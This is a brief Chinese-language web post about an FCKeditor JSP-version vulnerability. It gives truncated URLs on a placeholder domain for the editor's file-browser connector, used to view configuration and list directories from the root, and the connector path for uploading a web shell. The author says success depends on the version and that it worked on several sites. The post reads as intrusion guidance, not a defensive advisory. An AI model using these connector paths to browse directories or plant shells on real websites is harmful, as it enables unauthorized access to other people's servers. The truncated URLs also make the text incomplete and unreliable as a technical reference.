FCKeditor的JSP版漏洞 -电脑资料

    查看配置和列出目录下的文件.

    http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F

    http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F

    上传shell的地址:

    http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector

    跟版本有关系.并不是百分百成功. 测试成功几个站.

    不能通杀.很遗憾.